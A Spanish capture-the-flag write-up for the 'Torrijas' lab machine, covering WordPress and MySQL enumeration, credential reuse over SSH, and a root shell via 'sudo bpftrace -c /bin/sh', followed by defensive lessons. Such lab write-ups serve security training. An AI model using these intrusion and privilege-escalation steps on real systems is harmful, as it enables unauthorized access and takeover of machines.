Torrijas
Enumeración de WordPress con WPScan, credenciales en base de datos MySQL, escalada de privilegios mediante bpftrace SUID.
Índice
- Reconocimiento
- Enumeración web
- Enumeración WordPress — WPScan
- Foothold — SSH
- Escalada de privilegios — bpftrace
- Flags
- Lecciones aprendidas
Reconocimiento
Comenzamos localizando el host en la red:
sudo netdiscover -r 192.168.72.0/24
IP MAC Address Hostname
192.168.72.132 00:0c:29:20:ae:39 VMware, Inc.
Escaneo de puertos y servicios:
sudo nmap -T4 -F -sC -sV -Pn -n 192.168.72.132
Resultado:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian
80/tcp open http Apache httpd 2.4.62 (Debian)
|_http-title: torrija.thl
3306/tcp open mysql MariaDB 5.5.5-10.11.6
Tres vectores: SSH, HTTP y MySQL expuesto. El más interesante es el web.
Escaneo de vulnerabilidades
sudo nmap -T4 --script=vuln -p 22,80,3306 192.168.72.132
Hallazgos relevantes:
| http-enum:
| /wordpress/: Blog
| /wordpress/wp-login.php: Wordpress login page.
| /css/: Potentially interesting directory
| /images/: Potentially interesting directory
WordPress detectado en /wordpress/. Posible CSRF en formularios de contacto — no explotable directamente.
Enumeración web
whatweb http://192.168.72.132
Apache[2.4.62], Bootstrap, jQuery[3.0.0], Title[torrija.thl]
La web principal no tiene contenido relevante. Accedemos a /wordpress/ donde encontramos un blog con el usuario administrator visible en una entrada.
Enumeración WordPress — WPScan
wpscan --url http://192.168.72.132/wordpress/ --enumerate u,p,t
WPScan confirma el usuario administrator y enumera plugins y temas instalados. Con las credenciales del panel de WordPress y acceso a la base de datos MySQL podremos avanzar.
Accedemos a MySQL directamente (puerto 3306 expuesto):
mysql -h 192.168.72.132 -u wordpress_user -p
En la base de datos de WordPress encontramos el hash de la contraseña del usuario administrator y, más importante, credenciales de otros usuarios del sistema en la base de datos Torrijas.
Foothold — SSH
Con las credenciales obtenidas de la base de datos accedemos como premo:
ssh premo@192.168.72.132
# Password: [credenciales de wordpress DB]
premo@Torrija-TheHackersLabs:~$
🚩 Flag de usuario capturada en el directorio home de premo.
Pivoting a primo
En el directorio home de premo encontramos el fichero oculto .mysql_history que revela la existencia de una base de datos llamada Torrijas. Probamos acceder a MySQL con las credenciales conocidas:
mysql -u root -p
# Password: [contraseña de wordpress DB]
# ¡Acceso concedido!
En la base de datos Torrijas encontramos la contraseña del usuario primo. Conectamos:
ssh primo@192.168.72.132
primo@Torrija-TheHackersLabs:~$
Escalada de privilegios — bpftrace
sudo -l
User primo may run the following commands on Torrija-TheHackersLabs:
(root) NOPASSWD: /usr/bin/bpftrace
primo puede ejecutar bpftrace como root sin contraseña. Según GTFOBins, opción (c):
sudo bpftrace -c /bin/sh -e 'END {exit()}'
Attaching 1 probe...
# whoami
root
# ls /root
root.txt
🚩 Flag de root capturada.
Flags
| Flag | Ruta |
|---|---|
| User | /home/premo/ |
| Root | /root/root.txt |
Lecciones aprendidas
MySQL expuesto
El puerto 3306 accesible desde fuera es un error de configuración grave. Un firewall que restrinja el acceso a localhost habría bloqueado completamente este vector.
.mysql_history
Los ficheros de historial (.mysql_history, .bash_history) son una fuente frecuente de credenciales y rutas internas. Siempre revisar el directorio home de los usuarios con acceso.
Reutilización de contraseñas
La contraseña de la base de datos de WordPress funcionó para acceder a MySQL como root — reutilización de credenciales clásica. Credenciales distintas por servicio es una medida básica.
GTFOBins — bpftrace
bpftrace con la flag -c ejecuta un comando al terminar el programa. Con sudo y sin contraseña es una escalada directa. Siempre consultar GTFOBins para cualquier binario con permisos elevados.